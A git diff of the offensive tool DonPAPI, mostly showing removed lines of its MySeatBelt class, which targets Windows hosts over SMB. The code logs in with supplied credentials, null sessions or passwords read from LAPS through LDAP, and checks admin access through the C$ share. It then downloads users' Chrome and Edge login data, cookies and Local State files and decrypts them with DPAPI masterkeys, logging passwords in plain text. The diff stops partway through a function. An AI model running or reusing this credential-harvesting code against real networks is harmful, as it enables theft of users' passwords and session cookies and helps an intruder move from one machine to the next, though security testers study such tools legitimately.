diff --git a/donpapi/entry.py b/donpapi/entry.py
index d77b52f..aaca4ec 100644
--- a/donpapi/entry.py
+++ b/donpapi/entry.py
@@ -265,26 +265,26 @@ def first_run(options):
conn.close()
def seatbelt_thread(datas):
- global assets
- target,options, logger=datas
- logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target))
+ global assets
+ target,options, logger=datas
+ logging.debug("[*] SeatBelt thread for {ip} Started".format(ip=target))
- try:
- mysb = MySeatBelt(target,options,logger)
- if mysb.admin_privs:
- mysb.do_test()
- # mysb.run()
- #mysb.quit()
- else:
- logging.debug("[*] No ADMIN account on target {ip}".format(ip=target))
+ try:
+ mysb = MySeatBelt(target,options,logger)
+ if mysb.admin_privs:
+ mysb.do_test()
+ # mysb.run()
+ #mysb.close_smb()
+ else:
+ logging.debug("[*] No ADMIN account on target {ip}".format(ip=target))
- #assets[target] = mysb.get_secrets()
- logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target))
- except Exception as e:
- if logging.getLogger().level == logging.DEBUG:
- import traceback
- traceback.print_exc()
- logging.error(str(e))
+ #assets[target] = mysb.get_secrets()
+ logging.debug("[*] SeatBelt thread for {ip} Ended".format(ip=target))
+ except Exception as e:
+ if logging.getLogger().level == logging.DEBUG:
+ import traceback
+ traceback.print_exc()
+ logging.error(str(e))
def export_results_seatbelt(output_dir=''):
diff --git a/donpapi/myseatbelt.py b/donpapi/myseatbelt.py
index c6d9af2..0196ef9 100644
--- a/donpapi/myseatbelt.py
+++ b/donpapi/myseatbelt.py
@@ -1,2280 +1,2331 @@
-#!/usr/bin/env python
-# coding:utf-8
-'''
-PA Vandewoestyne
-'''
-from __future__ import division
-from __future__ import print_function
+#!/usr/bin/env python3
+# -*- encoding: utf-8 -*-
+
+"""
+MySeatBelt module contain MySeatBelt class.
+@Author: Pierre-Alexandre Vandewoestyne (@T00uF)
+"""
import copy
+import impacket
+import socket
+import sqlite3
from pathlib import Path
-from donpapi.lib.certificates import CertificatesTriage
+from ldap3 import ALL, Server, Connection, NTLM
+from impacket.dcerpc.v5 import srvs
+from impacket.dcerpc.v5.dtypes import NULL, RPC_SID
+from impacket.smb import SMB_DIALECT
+# import impacket.dpapi
+
+from donpapi.lib.adconnect import *
+from donpapi.lib.certificates import CertificatesTriage
+from donpapi.lib.dpapi import DPAPI
+from donpapi.lib.fileops import MyRegOps
+from donpapi.lib.new_module import *
+from donpapi.lib.RecentFiles import *
from donpapi.lib.secretsdump import LSASecrets as MyLSASecrets
from donpapi.lib.secretsdump import SAMHashes as MySAMHashes
from donpapi.lib.secretsdump import RemoteOperations as MyRemoteOperations
-import socket, impacket
-
-from impacket.dcerpc.v5 import srvs
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.smb import SMB_DIALECT
-
-# import impacket.dpapi
-from donpapi.lib.dpapi import DPAPI, CredHist
+from donpapi.lib.toolbox import is_guid
from donpapi.software.browser.chrome_decrypt import *
from donpapi.software.browser.firefox_decrypt import *
from donpapi.software.sysadmin.vnc import Vnc
-from donpapi.lib.toolbox import is_guid
-from donpapi.myusers import *
-from donpapi.lib.fileops import MyRegOps
-from donpapi.database import Database
-from donpapi.lib.new_module import *
-from donpapi.lib.RecentFiles import *
-from donpapi.lib.adconnect import *
-from ldap3 import ALL, Server, Connection, NTLM
+from donpapi.myusers import MyUser
+from donpapi.database import Database
# from DonPAPI.lib.lazagne_dpapi.credhist import CredHistFile
+
class MySeatBelt:
- def __init__(self, target, options, logger, verbose=1):
- self.logging = logger
- self.options = copy.deepcopy(options)
- self.options.target_ip = target
- self.host = target
- # self.username=options.username
- # self.password=options.password
- # self.domain=options.domain
- self.options.timeout = 5
- self.smb = None
- # options.target_ip=target
- """
- self.logging.info(f"[{target}] [-] initialising smb connection to {options.domain} / {options.username} : {options.password}, @ {options.dc_ip} , Hash : {options.lmhash} : { options.nthash}, AESKey {options.aesKey}")
- smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
- if options.k is True:
- smbClient.kerberosLogin(options.username, options.password, options.domain, options.lmhash, options.nthash, options.aesKey, options.dc_ip )
- else:
- smbClient.login(options.username, options.password, options.domain, options.lmhash, options.nthash)
-
- self.smb = smbClient
- """
- # Init all
- self.smbv1 = False
- self.admin_privs = False
- # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
- self.share = None
- self.last_output = None
- self.completion = []
- self.users = []
- self.user_path = ''
- self.machine_key = []
- self.user_key = []
-
- # self.options[logging] = logge
- self.myfileops = None
- self.myregops = None
- # self.myfileops = MyFileOps(self.smb,self.logging,self.options)
- self.credz = options.credz
- self.__remoteOps = None
- self.__bootKey = b''
- self.__SAMHashes = None
- self.__LSASecrets = None
- self.global_logfile = b'globallog.log'
- self.init_connect()
-
- # logger.init()
-
- def init_connect(self):
- try:
- self.db = Database(sqlite3.connect(self.options.db_path, check_same_thread=False), self.logging)
- if self.create_conn_obj():
- # self.do_info_rpc_unauth()
- self.do_info_unauth()
- self.create_conn_obj()
- if self.login_conn():
- self.is_admin()
- if self.admin_privs:
- self.myfileops = MyFileOps(self.smb, self.logging, self.options)
- self.myregops = MyRegOps(self.logging, self.options)
- return True
- else:
- return False
- return False
- except Exception as e:
- self.logging.debug('Error init connect')
- return False
-
- def create_smbv1_conn(self):
- try:
- self.smb = SMBConnection(self.host, self.host, None, self.options.port, preferredDialect=SMB_DIALECT,
- timeout=self.options.timeout)
- self.smbv1 = True
- logging.debug('SMBv1 OK on {} - {}'.format(self.host, self.options.target_ip))
- except socket.error as e:
- if str(e).find('Connection reset by peer') != -1:
- logging.debug('SMBv1 might be disabled on {}'.format(self.host))
- return False
- except Exception as e:
- logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
- return False
-
- return True
-
- def create_smbv3_conn(self):
- try:
- self.smb = SMBConnection(self.host, self.host, None, self.options.port, timeout=self.options.timeout)
- self.smbv1 = False
- logging.debug('SMBv3 OK on {} - {}'.format(self.host, self.options.target_ip))
- except Exception as e:
- self.logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
- self.db.add_computer(ip=self.host, connectivity=f"{e}")
- return False
-
- return True
-
- def create_conn_obj(self):
- # self.logging.info(f"[{self.options.target_ip}] [-] initialising smb connection to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
- self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb connection ...")
- if self.create_smbv1_conn():
- return True
- elif self.create_smbv3_conn():
- return True
-
- return False
-
- def quit(self):
- try:
- self.logging.debug(f"[{self.options.target_ip}] [-] initialising smb close ...")
- # self.myfileops.close()
- # self.myregops.close()
- # self.smb.close()
- self.logging.debug(f"[{self.options.target_ip}] [-] smb closed ...")
- except Exception as e:
- self.logging.debug('Error in closing SMB connection')
- return False
-
- def get_laps(self):
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - domain {self.options.domain} : dcip {self.options.dc_ip}")
- ldap_domain = ''
- ldap_domain_parts = self.options.domain.split('.')
- for part in ldap_domain_parts:
- ldap_domain += f"dc={part},"
- ldap_domain = ldap_domain[:-1]
-
- if self.options.dc_ip != None:
- s = Server(self.options.dc_ip, get_info=ALL)
- else:
- s = Server(self.options.domain, get_info=ALL)
- c = Connection(s, user=self.options.domain + "\\" + self.options.username, password=self.options.password,
- authentication=NTLM, auto_bind=True)
- c.search(search_base=f"{ldap_domain}",
- search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
- attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
- self.logging.debug(
- f"[{self.options.target_ip}] [-] Using LAPS to get Local admin password on {self.options.hostname} - {ldap_domain} - got {len(c.entries)} match")
- if len(c.entries) == 1:
- # for entry in c.entries[0]:
- entry = c.entries[0]
- # self.options.username = str(entry['sAMAccountName'])
- self.options.password = str(entry['ms-Mcs-AdmPwd'])
- # self.username = self.options.username
- # self.password = self.options.password
- self.options.local_auth = True
- self.options.domain = self.options.hostname
- return True
- else:
- return False
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in get LAPS {bcolors.ENDC}")
- self.logging.debug(ex)
- return False
-
- def login_conn(self, username=None, password=None, domain=None):
- try:
- if username is None:
- username = self.options.username
- if password == None:
- password = self.options.password
- if domain == None:
- domain = self.options.domain
- # smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
- if self.options.k is True:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
- self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash,
- self.options.aesKey, self.options.dc_ip)
- return True
- # elif self.options.hashes != None:
- else:
- if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
- if (self.get_laps()):
- for username in ['administrator', 'administrateur', 'administrador']:
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
- self.smb.login(username, self.options.password, self.options.domain,
- self.options.lmhash, self.options.nthash, ntlmFallback=True)
- self.options.username = username
- if username not in self.options.credz:
- self.options.credz[username] = [self.options.password]
- else:
- self.options.credz[username].append(self.options.password)
- return True
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
- self.logging.debug(ex)
- continue
- else:
- if username == "" and password == "":
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
- self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
- ntlmFallback=True)
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
- self.logging.debug(ex)
- return False
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
- self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
- ntlmFallback=True)
- '''except : #self.smb.STATUS_LOGON_FAILURE :
- try:
- if domain != self.hostname:
- #Trying localy
- self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
- return True
- else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
- self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
- return False
- except Exception as ex:
- self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
- self.logging.debug(ex)
- return False'''
- # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
- return True
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
- self.logging.debug(ex)
- return False
-
- def GetUserByName(self, username):
- for user in self.users:
- if user.username == username:
- return user
- else:
- self.logging.debug("User %s Not found in self.users" % username)
-
- def is_admin(self):
- self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
- self.admin_privs = False
- try:
- self.smb.connectTree("C$")
- self.admin_privs = True
- self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
- self.db.update_computer(ip=self.options.target_ip, is_admin=True)
- except SessionError as e:
- self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
- self.logging.debug(f"[{self.options.target_ip}] {e}")
- self.db.update_computer(ip=self.options.target_ip, is_admin=False)
- pass
- return self.admin_privs
-
- def do_info_unauth(self):
- # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
- try:
- # Null session to get basic infos
- self.login_conn(username='', password='')
- # self.domain = self.smb.getServerDNSDomainName()
- self.options.hostname = self.smb.getServerName()
- # self.options.hostname=self.hostname
- self.server_os = self.smb.getServerOS()
- self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
- 'RequireSigning']
- # self.os_arch = self.get_os_arch()
- if self.options.domain == '': # no domain info == local auth
- self.options.domain = self.options.hostname
- # elif self.options.domain != '':
- # self.domain = self.options.domain
-
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
- self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname,
- domain=self.smb.getServerDNSDomainName(), os=self.server_os,
- smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1)
-
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def do_info_rpc_unauth(self):
- try:
- rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
- smb_connection=self.smb)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
- resp = srvs.hNetrServerGetInfo(dce, 102)
- self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
- self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def do_info_with_auth(self):
- # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
- try:
- # Null session to get basic infos
- self.login_conn()
- # self.domain = self.smb.getServerDNSDomainName()
- self.options.hostname = self.smb.getServerName()
- self.server_os = self.smb.getServerOS()
- self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
- 'RequireSigning']
- # self.os_arch = self.get_os_arch()
- if not self.domain and self.options.domain == '':
- self.domain = self.options.hostname
- elif self.options.domain != '':
- self.domain = self.options.domain
-
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
- # IP# print(self.smb.getRemoteHost())
- # print(self.smb.getServerDNSDomainName())
- rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
- smb_connection=self.smb)
- dce = rpctransport.get_dce_rpc()
- dce.connect()
- dce.bind(srvs.MSRPC_UUID_SRVS)
- resp = srvs.hNetrServerGetInfo(dce, 102)
- # self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
- # self.os_arch = self.get_os_arch()
-
- # self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
- # self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
- # self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
- # self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
- # self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
- # self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
- # USE user path
- self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
-
- self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain,
- os=self.server_os)
- self.logging.info(
- f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
-
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def logsecret(self, data):
- try:
- fh = open(self.global_logfile, 'ab')
- fh.write(data.encode())
- fh.close()
- self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
- self.logging.debug(ex)
-
-
- def GetEdgeSecrets(self):
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}")
- blacklist = ['.', '..']
-
- user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State',
- 'ChromeLocalState', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies',
- 'ChromeCookies', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default",
- 'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
- (
- "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies',
- 'ChromeCookies', 'DOMAIN'),
- (
- "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network",
- 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data',
- 'ChromeLoginData', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version',
- 'ChromeVersion', 'DOMAIN'),
- ]
-
- for user in self.users:
- if user.username == 'MACHINE$':
- continue
- else:
- directories_to_use = user_directories
- myoptions = copy.deepcopy(self.options)
- myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
- myoptions.key = None
- myoptions.masterkeys = None
- myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge")
-
- # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
- for info in directories_to_use:
- my_dir, my_mask, my_blob_type, my_user_type = info
- tmp_pwd = my_dir.format(
- username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
- self.logging.debug(
- f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
- my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
- for infos in my_directory:
- longname, is_directory = infos
- self.logging.debug("ls returned file %s" % longname)
- if longname not in blacklist and not is_directory:
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
- # Downloading Blob file
- localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
- # myoptions = copy.deepcopy(self.options)
- if my_blob_type == 'ChromeLocalState':
- try:
- myChromeSecrets.localstate_path = localfile
- guid = myChromeSecrets.get_masterkey_guid_from_localstate()
- if guid != None:
- masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- myChromeSecrets.masterkey = masterkey['key']
- aesKey = myChromeSecrets.get_AES_key_from_localstate(
- masterkey=masterkey['key'])
- if aesKey != None:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeLoginData':
- try:
- myChromeSecrets.logindata_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- logins = myChromeSecrets.decrypt_chrome_LoginData()
- user.files[longname]['secret'] = logins
- if logins is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeCookies':
- try:
- myChromeSecrets.cookie_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- cookies = myChromeSecrets.decrypt_chrome_CookieData()
- user.files[longname]['secret'] = cookies
- if cookies is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeVersion':
- try:
- myChromeSecrets.version_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- cookies = myChromeSecrets.get_chrome_Version()
- user.files[longname]['secret'] = cookies
- if cookies is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
-
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def GetMozillaSecrets_wrapper(self):
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
-
- for user in self.users:
- if user.username == 'MACHINE$':
- continue
- try:
- myoptions = copy.deepcopy(self.options)
- myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
- myoptions.key = None
- myoptions.masterkeys = None
- myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db)
- myFirefoxSecrets.run()
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
- self.logging.debug(ex)
-
- def GetChromeSecrets(self):
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
- blacklist = ['.', '..']
- # Parse chrome
- # autres navigateurs ?
-
- user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State',
- 'ChromeLocalState', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies',
- 'ChromeCookies', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default",
- 'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
- (
- "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies',
- 'ChromeCookies', 'DOMAIN'),
- (
- "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network",
- 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data',
- 'ChromeLoginData', 'DOMAIN'),
- ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version',
- 'ChromeVersion', 'DOMAIN'),
- ]
-
- for user in self.users:
- if user.username == 'MACHINE$':
- continue
- else:
- directories_to_use = user_directories
- myoptions = copy.deepcopy(self.options)
- myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
- myoptions.key = None
- myoptions.masterkeys = None
- myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username)
-
- # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
- for info in directories_to_use:
- my_dir, my_mask, my_blob_type, my_user_type = info
- tmp_pwd = my_dir.format(
- username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
- self.logging.debug(
- f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
- my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
- for infos in my_directory:
- longname, is_directory = infos
- self.logging.debug("ls returned file %s" % longname)
- if longname not in blacklist and not is_directory:
- try:
- self.logging.debug(
- f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
- # Downloading Blob file
- localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
- # myoptions = copy.deepcopy(self.options)
- if my_blob_type == 'ChromeLocalState':
- try:
- myChromeSecrets.localstate_path = localfile
- guid = myChromeSecrets.get_masterkey_guid_from_localstate()
- if guid != None:
- masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
- if masterkey != None:
- if masterkey['status'] == 'decrypted':
- myChromeSecrets.masterkey = masterkey['key']
- aesKey = myChromeSecrets.get_AES_key_from_localstate(
- masterkey=masterkey['key'])
- if aesKey != None:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
- else:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeLoginData':
- try:
- myChromeSecrets.logindata_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- logins = myChromeSecrets.decrypt_chrome_LoginData()
- user.files[longname]['secret'] = logins
- if logins is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeCookies':
- try:
- myChromeSecrets.cookie_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- cookies = myChromeSecrets.decrypt_chrome_CookieData()
- user.files[longname]['secret'] = cookies
- if cookies is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
- if my_blob_type == 'ChromeVersion':
- try:
- myChromeSecrets.version_path = localfile
- user.files[longname] = {}
- user.files[longname]['type'] = my_blob_type
- user.files[longname]['status'] = 'encrypted'
- user.files[longname]['path'] = localfile
- cookies = myChromeSecrets.get_chrome_Version()
- user.files[longname]['secret'] = cookies
- if cookies is not None:
- user.files[longname]['status'] = 'decrypted'
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
- self.logging.debug(ex)
-
- except Exception as ex:
- self.logging.debug(
- f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
- self.logging.debug(ex)
-
- def getMdbData(self):
- try:
- return self.getMdbData2()
- except UnicodeDecodeError:
- return self.getMdbData2('utf-16-le')
-
- def getMdbData2(self, codec='utf-8'):
- try:
- out = {
- 'cryptedrecords': [],
- 'xmldata': []
- }
- keydata = None
- #
- # self.options.from_file='adsync_export'
-
- if self.options.from_file:
